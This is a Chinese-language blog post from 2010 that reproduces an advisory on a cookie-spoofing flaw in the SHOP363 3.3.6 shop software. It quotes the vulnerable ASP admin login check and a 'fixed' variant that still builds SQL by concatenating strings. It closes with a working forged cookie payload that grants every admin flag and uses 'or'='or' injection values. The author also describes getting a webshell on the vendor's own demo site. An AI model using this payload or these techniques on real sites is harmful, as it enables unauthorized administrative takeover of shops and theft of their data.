SHOP363网店系统通杀漏洞
作者:王者星星 日期:2010-07-25
- 发布日期:2010-07.24
- 发布作者:zitengjushi
- 影响版本:SHOP363 3.3.6
- 官方地址:www.shop363.net
- 漏洞描述:SHOP363 程序未进行严格过滤,产生cookies欺骗漏洞。并且可以构造上传恶意代码从而获取网站权限。
笔者分析:
在讨论组看有坛友求SHOP363后台拿WEBSHELL方法,因为以前没用过这个系统不熟悉所以就百度了下找到了官方演示,通过一个老漏洞拿(不是网店程序本身的漏洞)到了官方演示的webHSELL,然后在官方网站目录下还有个演示站,还是那个方法直接拿到官方权限。拿到WEBSHELL后看了下网店的后台代码开始找相关的利用漏洞,看了几个文件果然发现了利用的地方。昨天发了个智睿的管理系统的COOKIES欺骗漏洞,今天看SHOP363的Fun.asp文件发现管理验证方法基本试相同的,呵呵,真实巧啊。
后台目录Admin_Shop363下面的FUN.ASP里面的Sub checklogin() 代码
- Sub checklogin() '检测是否登陆后台
- dim AdminName,AdminPassword,AdminFlags
- Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
- Session(CacheName &"AdminPassword") = Request.Cookies
- (SitWebCookies)("AdminPassword")
- session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
- ("AdminFlags")
- session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
- ("Truename")
- Session(CacheName &"AdminoldFlags") = Request.Cookies
- (SitWebCookies)("AdminoldFlags")
- Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
- ("TFlags")
- AdminName=Session(CacheName &"AdminName")
- AdminPassword=Session(CacheName &"AdminPassword")
- AdminFlags=Session(CacheName &"AdminFlags")
- IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
- 'IF AdminName="" Then
- response.redirect("index.asp")
- response.End()
- End If
- End Sub 下面这个是在另一个演示站看到的改进代码
- Sub checklogin() '检测是否登陆后台
- dim AdminName,AdminPassword,AdminFlags
- Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
- Session(CacheName &"AdminPassword") = Request.Cookies
- (SitWebCookies)("AdminPassword")
- session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
- ("AdminFlags")
- session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
- ("Truename")
- Session(CacheName &"AdminoldFlags") = Request.Cookies
- (SitWebCookies)("AdminoldFlags")
- Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
- ("TFlags")
- AdminName=Session(CacheName &"AdminName")
- AdminPassword=Session(CacheName &"AdminPassword")
- AdminFlags=Session(CacheName &"AdminFlags")
- Strsqlck="select * from Shop363_Admin where name='"& AdminName &"' and
- Password='"&AdminPassword&"'"
- set rsck=server.CreateObject("Adodb.Recordset")
- rsck.open Strsqlck,conn,1,1
- If rsck.eof Then
- response.redirect("index.asp")
- response.End()
- End If
- rsck.close
- Set rsck=nothing
- 'IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
- 'IF AdminName="" Then
- ' response.redirect("index.asp")
- ' response.End()
- 'End If
- End Sub
基本没改进什么,一样还是COOKIES欺骗,下面的是COOKIES利用代码:
Sy%5FShops=TFlags=1%2C2%2C3%2C4%2C5%2C11%2C12%_2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C21%2C22%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C41%2C42%2C43%_2C44%2C51%2C52%2C53%2C54%2C55%2C56%2C61%2C62%2C63%2C64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or';
评论: 0 | 引用: 0 | 查看次数: -
发表评论
上一篇
下一篇

文章来自:
Tags:
相关日志: